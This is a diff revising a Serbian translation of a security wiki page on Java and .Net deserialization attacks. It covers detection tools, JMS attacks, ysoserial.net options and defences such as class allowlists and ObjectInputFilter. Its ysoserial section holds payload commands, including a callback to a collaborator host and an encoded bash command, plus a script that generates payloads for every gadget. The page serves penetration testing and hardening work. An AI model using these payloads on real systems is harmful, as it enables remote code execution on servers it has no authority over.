+Kada pokrećete **gadgetinspector** (nakon što ga izgradite) nemojte obraćati pažnju na gomilu upozorenja/grešaka kroz koje prolazi i pustite da završi. On će zapisati sva otkrića pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Imajte na umu da **gadgetinspector neće napraviti exploit i može ukazati na false positives**.
 
-#### Black Box Test
+#### Test crne kutije
 
-Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom bi moglo biti **lakše odabrati payload** za eksploataciju ranjivosti.\
-[**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
-GadgetProbe se fokusira na **`ObjectInputStream` deserializacije**.
+Korišćenjem Burp ekstenzije [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i njihove verzije). Sa tim informacijama može biti **lakše izabrati payload** za eksploatisanje ranjivosti.\
+[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
+GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
 
-Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu eksploatisati sa ysoserial i **iskoristiti** ih.\
-[**Pročitajte ovo da biste saznali više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
-Java Deserialization Scanner se fokusira na **`ObjectInputStream`** deserializacije.
+Korišćenjem Burp ekstenzije [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu iskoristiti sa ysoserial i **eksploatisati** ih.\
+[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
+Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
 
-Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete ranjivosti** deserializacije u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
-[**Više informacija o Freddyu možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
+Možete takođe koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete deserializacione** ranjivosti u **Burp**. Ovaj plugin će detektovati **ne samo `ObjectInputStream`** povezane ranjivosti već **takođe** i ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payload-e.\
+[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
 
-**Serialization Test**
+### **Serialization Test**
 
-Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da **promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere** (možda vam dodeli administratorske privilegije unutar web aplikacije).\
-Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete serijalizovani objekat u čitljivijem formatu**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
+Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete biti u mogućnosti da **promenite podatke unutar serializovanog objekta i zaobiđete neke provere** (možda vam dodeli admin privilegije u web aplikaciji).\
+Ako pronađete java serializovan objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete serializovani objekat u čitljivijem formatu**. Znajući koje podatke šaljete biće vam lakše da ih modifikujete i zaobiđete neke provere.
 
 ### **Exploit**
 
 #### **ysoserial**
 
-Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
-Imajte na umu da je ovaj alat **fokusiran** na eksploataciju **`ObjectInputStream`**.\
-Počeo bih sa korišćenjem "URLDNS" payload-a **pre RCE** payload-a da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
+Glavni alat za eksploatisanje Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Možete takođe razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite kompleksne komande (na primer sa pipes).\
+Imajte u vidu da je ovaj alat **fokusiran** na eksploatisanje **`ObjectInputStream`**.\
+Preporučio bih da **počnete sa "URLDNS"** payload-om **pre RCE** payload-a da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da "URLDNS" payload možda neće raditi dok neki drugi RCE payload hoće.
 ```bash
 # PoC to make the application perform a DNS req
 java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@@ -485,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
 # Base64 encode payload in base64
 base64 -w0 payload
 ```
-Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene sa **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
+Kada kreirate payload za **java.lang.Runtime.exec()** ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **prosleđivati argumente** komandi razdvojene **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello World"'`). Da biste ispravno enkodovali payload možete [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html).
 
-Slobodno koristite sledeći skript za kreiranje **svi mogućih payload-a za izvršenje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
+Slobodno koristite sledeći skript da kreirate **all the possible code execution** payload-e za Windows i Linux i zatim ih testirate na ranjivoj web stranici:
 ```python
 import os
 import base64
@@ -510,12 +523,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 #### serialkillerbypassgadgets
 
-Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial za kreiranje više eksploita**. Više informacija o ovom alatu možete pronaći u **prezentacijama sa predavanja** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial za kreiranje više exploits**. Više informacija o ovom alatu u **slajdovima predavanja** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 
 #### marshalsec
 
-[**marshalsec** ](https://github.com/mbechler/marshalsec)može se koristiti za generisanje payload-a za eksploataciju različitih **Json** i **Yml** biblioteka za serijalizaciju u Javi.\
-Da bih kompajlirao projekat, morao sam da **dodam** ove **zavisnosti** u `pom.xml`:
+[**marshalsec** ](https://github.com/mbechler/marshalsec) može da se koristi za generisanje payloads za iskorišćavanje različitih **Json** i **Yml** serialization biblioteka u Java.\ Da bih kompajlirao projekat morao sam da **dodam** ove **dependencies** u `pom.xml`:
 ```html
 <dependency>
 <groupId>javax.activation</groupId>
@@ -539,48 +551,48 @@ mvn clean package -DskipTests
 
 Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
 
-### Labs
+### Laboratorije
 
-- Ako želite da testirate neke ysoserial payloads možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
+- Ako želite testirati neke ysoserial payloads možete **pokrenuti ovaj webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
 
 ### Zašto
 
-Java koristi mnogo serijalizaciju za razne svrhe kao što su:
+Java koristi mnogo serijalizacije za različite namene, kao što su:
 
-- **HTTP zahtevi**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.
-- **RMI (Remote Method Invocation)**: Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
-- **RMI preko HTTP-a**: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.
+- **HTTP requests**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, cookies-ima itd.
+- **RMI (Remote Method Invocation)**: Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, predstavlja kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
+- **RMI over HTTP**: Ovaj metod često koriste Java-based thick client web aplikacije, koje koriste serijalizaciju za svu komunikaciju objekata.
 - **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže.
-- **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u predstojećim primerima eksploatacije.
+- **Custom Protocols**: U Javi je uobičajena praksa prenošenje sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.
 
 ### Prevencija
 
-#### Transijentni objekti
+#### Transient objects
 
-Klasa koja implementira `Serializable` može implementirati kao `transient` bilo koji objekat unutar klase koji ne bi trebao biti serijalizovan. Na primer:
+A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example:
 ```java
 public class myAccount implements Serializable
 {
 private transient double profit; // declared transient
 private transient double margin; // declared transient
 ```
-#### Izbegavajte serijalizaciju klase koja treba da implementira Serializable
+#### Izbegavanje serializacije klase koja mora da implementira `Serializable`
 
-U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definisanjem `final` `readObject()` metode koja dosledno baca izuzetak, kao što je prikazano u nastavku:
+U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, obezbedite da ovi objekti budu ne-deserializabilni definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano ispod:
 ```java
 private final void readObject(ObjectInputStream in) throws java.io.IOException {
 throw new java.io.IOException("Cannot be deserialized");
 }
 ```
-#### **Poboljšanje bezbednosti deserializacije u Javi**
+#### **Poboljšanje sigurnosti deserializacije u Java**
 
-**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za obezbeđivanje procesa deserializacije. Ova metoda je pogodna kada:
+**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za osiguravanje procesa deserializacije. Ovaj pristup je pogodan kada:
 
-- Kod deserializacije je pod vašom kontrolom.
+- Kod za deserializaciju je pod vašom kontrolom.
 - Klase koje se očekuju za deserializaciju su poznate.
 
-Override-ujte **`resolveClass()`** metodu da ograničite deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deserializaciju samo na klasu `Bicycle`:
+Nadjačajte metod **`resolveClass()`** da biste ograničili deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserializaciju samo na klasu `Bicycle`:
 ```java
 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
 public class LookAheadObjectInputStream extends ObjectInputStream {
@@ -601,17 +613,17 @@ return super.resolveClass(desc);
 }
 }
 ```
-**Korišćenje Java agenta za poboljšanje bezbednosti** nudi rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
+**Korišćenje Java Agent-a za poboljšanje bezbednosti** nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se primenjuje uglavnom za **blacklisting harmful classes**, koristeći JVM parametar:
 ```
 -javaagent:name-of-agent.jar
 ```
-Omogućava način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
+Ovo pruža način da se deserializacija zaštiti dinamički, idealno za okruženja gde je trenutna izmena koda nepraktična.
 
 Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 
-**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.
+**Implementacija filtera serijalizacije**: Java 9 je uveo filtere serijalizacije preko interfejsa **`ObjectInputFilter`**, pružajući moćan mehanizam za navođenje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri mogu biti primenjeni globalno ili po tokovima, nudeći granularnu kontrolu nad procesom deserializacije.
 
-Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
+Da biste iskoristili filtere serijalizacije, možete postaviti globalni filter koji važi za sve operacije deserializacije ili ga dinamički konfigurisati za određene tokove. Na primer:
 ```java
 ObjectInputFilter filter = info -> {
 if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@@ -623,29 +635,30 @@ return Status.ALLOWED;
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 ```
-**Korišćenje spoljašnjih biblioteka za poboljšanu sigurnost**: Biblioteke kao što su **NotSoSerial**, **jdeserialize** i **Kryo** nude napredne funkcije za kontrolu i praćenje Java deserializacije. Ove biblioteke mogu pružiti dodatne slojeve sigurnosti, kao što su stavljanje na belu ili crnu listu klasa, analiziranje serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
+**Korišćenje eksternih biblioteka za poboljšanu bezbednost**: Biblioteke kao što su **NotSoSerial**, **jdeserialize** i **Kryo** nude napredne mogućnosti za kontrolu i nadzor Java deserializacije. Ove biblioteke mogu obezbediti dodatne slojeve zaštite, kao što su dopuštanje ili blokiranje klasa, analiza serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.
 
 - **NotSoSerial** presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
-- **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
-- **Kryo** je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati sigurnost.
+- **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno malicioznog sadržaja.
+- **Kryo** je alternativni framework za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.
 
-### Reference
+### References
 
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- Deserialization i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
 - [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
 - [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
-- Razgovor o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
+- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
+- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
 - [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- Java i .Net JSON deserialization **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** razgovor: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- Deserializacije CVE-ovi: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
 ## JNDI Injection & log4Shell
 
-Pronađite šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
+Pronađite šta je **JNDI Injection, kako ga zloupotrebiti preko RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
+
 
 {{#ref}}
 jndi-java-naming-and-directory-interface-and-log4shell.md
@@ -653,9 +666,9 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
 
 ## JMS - Java Message Service
 
-> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom koju je razvila Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
+> **Java Message Service** (**JMS**) API je Java API orijentisan na poruke (message-oriented middleware) za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platform, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, a od tada ga vodi Java Community Process. To je standard poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava da komunikacija između različitih komponenti distribuirane aplikacije bude slabo povezana (loosely coupled), pouzdana i asinhrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
 
-### Proizvodi
+### Products
 
 Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
 
@@ -663,61 +676,61 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
 
 ![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../images/image (1056).png>)
 
-### Eksploatacija
+### Exploitation
 
-Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da šaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
-To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
+U suštini postoji **veliki broj servisa koji koriste JMS na nesiguran način**. Dakle, ako imate **dovoljno privilegija** da pošaljete poruke tim servisima (obično će vam biti potrebni validni kredencijali) mogli biste poslati **maliciozne serijalizovane objekte koji će biti deserializovani od strane consumer/subscriber**.\
+To znači da će u ovoj eksploataciji svi **klijenti koji budu koristili tu poruku biti inficirani**.
 
-Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da biste iskoristili ranjivost.
+Treba imati na umu da čak i ako je servis ranjiv (zbog nesigurne deserializacije korisničkog unosa), i dalje morate pronaći validne gadgets da biste iskoristili ranjivost.
 
-Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete**. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
+Alat [JMET](https://github.com/matthiaskaiser/jmet) je napravljen da se poveže na ove servise i napadne ih slanjem više malicioznih serijalizovanih objekata koristeći poznate gadgets. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgets nalazi u ranjivoj aplikaciji.
 
-### Reference
+### References
 
 - [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
 
-- JMET razgovor: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
-- Slajdovi: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
+- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
+- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
 
 ## .Net
 
-U kontekstu .Net, eksploatacije deserializacije funkcionišu na način sličan onima u Javi, gde se gadgeti koriste za izvršavanje specifičnog koda tokom deserializacije objekta.
+U kontekstu .Net-a, deserialization exploit-i funkcionišu na sličan način kao oni u Javi, gde se gadgets iskorišćavaju da pokrenu određeni kod tokom deserializacije objekta.
 
-### Otisak
+### Fingerprint
 
 #### WhiteBox
 
-Izvorni kod treba pregledati zbog pojava:
+Izvorni kod treba pregledati u potrazi za pojavama:
 
 1. `TypeNameHandling`
 2. `JavaScriptTypeResolver`
 
-Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću promenljive pod kontrolom korisnika.
+Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen varijablom pod kontrolom korisnika.
 
 #### BlackBox
 
-Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
+Pretraga bi trebalo da cilja Base64 enkodovani string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao biti deserializovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
 
 ### ysoserial.net
 
-U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **napravili eksploatacije deserializacije**. Kada preuzmete git repozitorijum, trebali biste **kompilirati alat** koristeći Visual Studio, na primer.
+U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) da **kreirate deserialization exploit-e**. Nakon što preuzmete git repozitorijum, treba da **kompajlirate alat** koristeći, na primer, Visual Studio.
 
-Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju**, možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
+Ako želite da saznate **kako ysoserial.net kreira svoje exploite**, možete [**pogledati ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
 
 Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
 
-- **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
-- **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
-- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
-- **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
+- **`--gadget`** se koristi da označi gadget koji će se zloupotrebiti (navodi klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).
+- **`--formatter`** se koristi da naznači metod koji će serijalizovati exploit (morate znati koju biblioteku back-end koristi za deserializaciju payload-a i koristiti istu za serijalizaciju).
+- **`--output`** se koristi da označi da li želite exploit u **raw** ili **base64** enkodiranom obliku. _Napomena: **ysoserial.net** će **enkodirati** payload koristeći **UTF-16LE** (enkodiranje podrazumevano na Windows-u), pa ako dobijete raw i samo ga enkodirate iz linux konzole, možete imati neke **probleme sa kompatibilnošću enkodiranja** koji će sprečiti exploit da radi ispravno (u HTB JSON box payload je radio i u UTF-16LE i u ASCII, ali to ne znači da će uvek raditi)._
